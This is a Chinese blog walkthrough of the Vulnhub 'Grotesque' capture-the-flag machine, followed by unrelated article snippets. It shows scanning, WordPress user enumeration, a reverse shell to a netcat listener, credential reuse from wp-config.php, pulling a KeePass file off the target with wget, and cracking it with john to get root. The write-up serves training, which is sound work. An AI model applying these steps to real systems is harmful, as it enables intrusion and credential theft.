Vulnhub靶场案例渗透[12]-Grotesque: 1.0.1
文章目录
- 一、靶场搭建
- 1. 靶场描述
- 2. 下载靶机环境
- 3. 靶场搭建
- 二、渗透靶场
- 1. 确定靶机IP
- 2. 探测靶场开放端口及对应服务
- 3. 目录扫描
- 4. 敏感信息获取
- 5. 反弹shell
- 6. 权限提升
一、靶场搭建
1. 靶场描述
get flags
difficulty: medium
about vm: tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.This works better with VirtualBox rather than VMware. ## Changelog 2021-03-10: v1.0.1 2021-03-06: v1.0
中等难度的靶场,目标是获取flag。
2. 下载靶机环境
靶场源地址点击跳转,点击图中标注处下载靶场源文件。

下载完成的文件如下:

一般从网上下载的文件,可以使用检验下载文件的检验码,防止下载的文件被篡改或者部分缺失.
# windwos 命令
Get-FileHash <filePath> -Algorithm MD5
# linux
md5sum filepath
3. 靶场搭建
使用VMware打开对应的
ova文件创建虚拟机。创建完虚拟机之后,修改对应虚拟机的网络模式为NAT模式,然后点击启动就行。

如果你使用vmware启动靶机之后,发现靶机没有自动分配ip,可以参考这个文章进行解决。 解决虚拟机未被自动分配ip
二、渗透靶场
1. 确定靶机IP
确定靶机IP的步骤:
- 通过nmap进行靶机目标网段(192.168.37.22/24)的存活主机探测。
- nmap显示出存活主机之后,根据nmap显示的存活主机的主机名结合已知设备ip排除确定靶机。如果靶机环境设置为
nat模式确定靶机ip会比较容易。
# 扫描网段存活主机命令
nmap -sn 192.168.37.22/24

通过排除网关、kali虚拟机、物理主机ip之后,确定靶机IP为
192.168.37.133.
2. 探测靶场开放端口及对应服务
探测端口开放和对应开放端口服务识别,一般使用nmap进行,因为nmap指纹识别比较准确,并且指纹库也比较全。
# 探测端口开放及服务识别命令
nmap -Ap 1-65535 192.168.37.133
结果图:

可以看到两个端口
66和80对应的服务都是http服务。分别打开两个网站查看。80端口根路径直接报404,推测存在子路径。


3. 目录扫描
使用
dirsearch工具分别扫描两个端口服务的路径。没有发现什么敏感目录,直接将目光移动到66端口的服务。
sudo dirsearch -u "http://192.168.37.133" -x 404
sudo dirsearch -u "http://192.168.37.133:66" -x 404


4. 敏感信息获取
66端口首页可以直接下载这个http服务的源码,直接下载文件,解压查看源代码是否存在敏感信息。

# 解压命令
unzip -d vvmlist/ vvmlist.zip
源代码文件内容:

先查看是否存在项目源码是否存在什么敏感信息。没有找到敏感信息之后,开始推测80存在子路径,搜索和80相关的关键词。发现其中一个文档说明80端口使用的wordpress,以及其子目录为
lyricsblog
grep -rn 80


获取到80端口wordpress的主路径之后,可以继续进行目录扫描。获取到登录页面,登录界面提示用户的密码是大写。
sudo dirsearch -u "http://192.168.37.133/lyricsblog" -x 404


5. 反弹shell
知道目标cms网站所使用的框架为wordpress之后,可以使用
wpscan扫描目标网站的用户名。wpscan是一个专门针对 WordPress 网站的漏洞扫描工具,用于发现插件、主题、用户、配置等方面的安全问题。扫描之后发现一个用户erdalkomurcu。有了账号名之后接下来就是要获取密码。
wpscan --url http://192.168.37.133/lyricsblog -e u

查看cmd网站的根路径发现一个图片链接被注释,查看图片的内容。


图片上提到了
HAKAN TASIYAN在首页上发现这是一首歌,尝试将这首歌的歌词进行md5求和,并将求和的结果转换成大写。之后尝试登录cms系统,登录成功。

# 求和
md5sum md5.txt
# 转大写
echo "" | tr 'a-z' 'A-Z'


登录后台之后,寻找后台可添加反向shell的位置,获取反弹shell,在下图处获取到注入点,并添加图中所示命令进行反向shell。刷新页面成功获取到反弹shell。

# kali执行
nc -lvp 8888

6. 权限提升
获取到反弹shell执行如下命令创建一个交互式终端。
python3 -c 'import pty; pty.spawn("/bin/bash")'
对于这种有数据库的后台项目,获取到shell权限之后,先查看配置文件是否存在账号和密码信息,多个账号设置为同一密码的情况是非常常见的。在
wp-config.php中获取到数据库的账号和密码。

查看
/home目录下发现存在和数据库账号同名的用户,尝试使用数据库的密码进行登录,成功登录.在raphael家目录下发现userflag和.chadroot.kdbx文件。

.kdbx文件是 KeePass Password Safe 使用的文件格式,专门用于存储加密的密码数据库。KeePass 是一款开源密码管理器,.kdbx文件包含用户的密码、用户名、URL 和其他敏感信息,并以强大的加密算法(如 AES-256)保护。从文件名来看这个kbdx文件存储的root的密码信息。将这个文件下载到本地,进行密码爆破。
# 靶机执行这段命令,开启一个web服务
python3 -m http.server 9090# kali进行下载
wget http://192.168.37.132/.chadroot.kdbx
使用
keepass2john命令进行密码爆破,keepass2john是一款专门用于从 KeePass 数据库文件(.kdbx格式)中提取加密的哈希值的工具。它是 John the Ripper(JtR) 破解工具套件中的一部分,主要用于将.kdbx文件转换为 John the Ripper 可以识别的哈希格式,以进行密码破解。成功获取到kdbx文件的密码。
keepass2john .chadroot.kdbx > hash
# 破解
john hash --wordlist=/usr/share/wordlists/rockyou.txt

获取到kbdx文件之后可以使用如下python代码读取文件中的内容。首先得执行这段命令安装
pip install pykeepass所需依赖。
from pykeepass import PyKeePass
import sysdef read_file(file_path, password):kp = PyKeePass(file_path, password=password)for entry in kp.entries:print(entry.title, entry.username, entry.password)if __name__ == "__main__":if len(sys.argv) != 3:print("Usage pkkeepass_tool.py filepath password")sys.exit(1)file_path = sys.argv[1]password = sys.argv[2]read_file(file_path, password)

尝试打印出的每个密码,最终
.:.subjective.:.为root用户的密码。成功获取到root的身份,以及获取到最终的flag。

相关文章:
Vulnhub靶场案例渗透[12]-Grotesque: 1.0.1
文章目录 一、靶场搭建1. 靶场描述2. 下载靶机环境3. 靶场搭建 二、渗透靶场1. 确定靶机IP2. 探测靶场开放端口及对应服务3. 目录扫描4. 敏感信息获取5. 反弹shell6. 权限提升 一、靶场搭建 1. 靶场描述 get flags difficulty: medium about vm: tested and exported from vi…...
招聘和面试
本篇内容是根据2019年4月份#82 Hiring and job interviews音频录制内容的整理与翻译 小组成员 Mat Ryer、Ashley McNamara、Johnny Boursiquot 和 Carmen Andoh 讨论了受聘、雇用和工作面试的过程。如果人是团队中最重要的部分,我们如何选择与谁一起工作࿱…...
Gin 框架入门(GO)-1
解决安装包失败问题(*) go env -w GO111MODULE=on go env -w GOPROXY=https://goproxy.cn,direct 1 介绍 Gin 是一个 Go (Golang) 编写的轻量级 http web 框架,运行速度非常快,Gin 最擅长的就是 Api 接口的高并发。 2 Gin 环境搭建 1.下载并安装 gin go get -u github.…...
LeetCode:700. 二叉搜索树中的搜索
目录 题目描述: 代码: 题目描述: 给定二叉搜索树(BST)的根节点 root 和一个整数值 val。 你需要在 BST 中找到节点值等于 val 的节点。 返回以该节点为根的子树。 如果节点不存在,则返回 null 。 示例 1: 输入:root [4,2,7,1,3…...
用邻接矩阵实现图的深度优先遍历
问题描述 给定一个无向图,用邻接矩阵作为图的存储结构,输出指定顶点出发的深度优先遍历序列。在深度优先遍历的过程中,如果同时出现多个待访问的顶点,则优先选择编号最小的一个进行访问。 输入描述 第一行输入三个正整数&#…...
vue2中实现token的无感刷新
后端配置 设置Token过期时间:在后端(如服务器或网关)配置access_token和refresh_token的过期时间。通常,access_token的过期时间较短,而refresh_token的过期时间较长。提供刷新Token接口:后端需要提供一个…...
无需Photoshop即可在线裁剪和调整图像大小的工具
Bitmind是一个灵活且易于使用的批量图像本地化处理器,经过抓包看,这个工具在浏览器本地运行,不会上传图片到服务器,所以安全性完全有保证。 它可以将图像调整到任何特定尺寸,并在必要时按比例裁剪。 这是一个在线工具…...
云安全之法律和合规
0x00 前言 本文主要内容是从法律,合同,电子举证,以及合规和审计这五个部分来记录一下相关的云安全内容 0x01 法律 受法律约束的影响因素 云服务所在的地区云用户所在的区域数据主体所在的区域 GDPR:通用数据保护法案…...
倒计时功能分享
今天想要分享的是一个面试题,也是一个我们在项目中常用的功能:倒计时。 首先我们在写倒计时的时候必须要考虑到是:准确性、性能。接下来我们一步一步实现这个完美地倒计时功能。 setInterval 先来简单实现一个倒计时的函数: func…...
【论文分享】使用多源数据识别建筑功能:以中国三大城市群为例
建筑功能对城市规划至关重要,而利用多源数据进行建筑功能分类有助于支持城市规划政策。本研究通过分析建筑特征和POI密度,识别了中国三个城市群的建筑功能,并使用XGBoost模型验证了其在大规模映射中的高准确性和有效性。研究强调了建筑环境对…...
华为手机启用ADB无线调试功能
打开开发者模式,勾选USB调试,和“仅充电”模式下允许ADB调试 确认 设置添加adb路径到PATH变量 使用adb查看安卓设置 切换为无线模式: 查看手机IP...
云原生之Kubernetes集群搭建
1、Kubernetets基础概念 传统的服务器架构演进,现在基于docker容器化应用可以完成快速部署,但是对于大型的应用,有可能出现成百上千个容器化应用,一个挂了需要人工管理是相当麻烦,因此急需一个大规模容器编排系统。 Kubernetes Kubernetes 是一个可移植、可扩展的开源平…...
STM32单片机CAN总线汽车线路通断检测
目录 目录 前言 一、本设计主要实现哪些很“开门”功能? 二、电路设计原理图 1.电路图采用Altium Designer进行设计: 2.实物展示图片 三、程序源代码设计 四、获取资料内容 前言 随着汽车电子技术的不断发展,车辆通信接口在汽车电子控…...
大连理工大学概率上机作业免费下载
大连理工大学概率论与数理统计上机资源 本资源库收录了大连理工大学概率论与数理统计课程的上机作业范例代码,旨在通过实际操作加深学生对概率统计概念的理解,帮助学生更好地理解和掌握知识点。 作业内容概览 第一题:随机变量关系探索 数…...
Tomcat 如何管理 Session
Tomcat 如何管理 Session 我们知道,Tomcat 中每一个 Context 容器对应一个 Web 应用,而 Web 应用之间的 Session 应该是独立的,因此 Session 的管理肯定是 Context 级的,也就是一个 Context 一定关联多个 Session。 Tomcat 中主…...
stm32启动过程解析startup启动文件
1.STM32的启动过程模式 1.1 根据boot引脚决定三种启动模式 复位后,在 SYSCLK 的第四个上升沿锁存 BOOT 引脚的值。BOOT0 为专用引脚,而 BOOT1 则与 GPIO 引脚共用。一旦完成对 BOOT1 的采样,相应 GPIO 引脚即进入空闲状态,可用于…...
SystemVerilog学习——构造函数new
一、概述 在 SystemVerilog 中,new 是一个构造函数,用于创建类的实例(即对象)。它在面向对象编程(OOP)中起着重要作用,负责实例化一个对象并进行初始化。与传统编程语言(如 C 或 Jav…...
力扣题目总结
1.游戏玩法分析IV AC: select IFNULL(round(count(distinct(Result.player_id)) / count(distinct(Activity.player_id)), 2), 0) as fraction from (select Activity.player_id as player_idfrom (select player_id, DATE_ADD(MIN(event_date), INTERVAL 1 DAY) as second_da…...
Java API 进阶指南:从核心API到高级应用的全面提升
文章目录 Java API 进阶学习指南1. 深入理解核心API1.1 集合框架(Collections Framework)1.2 输入输出流(I/O Streams)1.3 并发编程(Concurrency)1.4 反射(Reflection)1.5 泛型&…...
esp32c3开发板通过micropython的ubluetooth库连蓝牙设备
ESP32-C3开发板是一款高性能、低功耗的微控制器,搭载了Espressif自家的RISC-V处理器。通过MicroPython,一种面向微控制器的精简版Python编程语言,开发者可以轻松地为ESP32-C3编写代码。MicroPython的ubluetooth库使得ESP32-C3能够通过蓝牙与各…...
龙虎榜——20250610
上证指数放量收阴线,个股多数下跌,盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型,指数短线有调整的需求,大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的:御银股份、雄帝科技 驱动…...
C++:std::is_convertible
C++标志库中提供is_convertible,可以测试一种类型是否可以转换为另一只类型: template <class From, class To> struct is_convertible; 使用举例: #include <iostream> #include <string>using namespace std;struct A { }; struct B : A { };int main…...
VB.net复制Ntag213卡写入UID
本示例使用的发卡器:https://item.taobao.com/item.htm?ftt&id615391857885 一、读取旧Ntag卡的UID和数据 Private Sub Button15_Click(sender As Object, e As EventArgs) Handles Button15.Click轻松读卡技术支持:网站:Dim i, j As IntegerDim cardidhex, …...
JVM垃圾回收机制全解析
Java虚拟机(JVM)中的垃圾收集器(Garbage Collector,简称GC)是用于自动管理内存的机制。它负责识别和清除不再被程序使用的对象,从而释放内存空间,避免内存泄漏和内存溢出等问题。垃圾收集器在Ja…...
蓝牙 BLE 扫描面试题大全(2):进阶面试题与实战演练
前文覆盖了 BLE 扫描的基础概念与经典问题蓝牙 BLE 扫描面试题大全(1):从基础到实战的深度解析-CSDN博客,但实际面试中,企业更关注候选人对复杂场景的应对能力(如多设备并发扫描、低功耗与高发现率的平衡)和前沿技术的…...
ios苹果系统,js 滑动屏幕、锚定无效
现象:window.addEventListener监听touch无效,划不动屏幕,但是代码逻辑都有执行到。 scrollIntoView也无效。 原因:这是因为 iOS 的触摸事件处理机制和 touch-action: none 的设置有关。ios有太多得交互动作,从而会影响…...
如何在最短时间内提升打ctf(web)的水平?
刚刚刷完2遍 bugku 的 web 题,前来答题。 每个人对刷题理解是不同,有的人是看了writeup就等于刷了,有的人是收藏了writeup就等于刷了,有的人是跟着writeup做了一遍就等于刷了,还有的人是独立思考做了一遍就等于刷了。…...
使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台
🎯 使用 Streamlit 构建支持主流大模型与 Ollama 的轻量级统一平台 📌 项目背景 随着大语言模型(LLM)的广泛应用,开发者常面临多个挑战: 各大模型(OpenAI、Claude、Gemini、Ollama)接口风格不统一;缺乏一个统一平台进行模型调用与测试;本地模型 Ollama 的集成与前…...
均衡后的SNRSINR
本文主要摘自参考文献中的前两篇,相关文献中经常会出现MIMO检测后的SINR不过一直没有找到相关数学推到过程,其中文献[1]中给出了相关原理在此仅做记录。 1. 系统模型 复信道模型 n t n_t nt 根发送天线, n r n_r nr 根接收天线的 MIMO 系…...
【数据分析】R版IntelliGenes用于生物标志物发现的可解释机器学习
禁止商业或二改转载,仅供自学使用,侵权必究,如需截取部分内容请后台联系作者! 文章目录 介绍流程步骤1. 输入数据2. 特征选择3. 模型训练4. I-Genes 评分计算5. 输出结果 IntelliGenesR 安装包1. 特征选择2. 模型训练和评估3. I-Genes 评分计…...
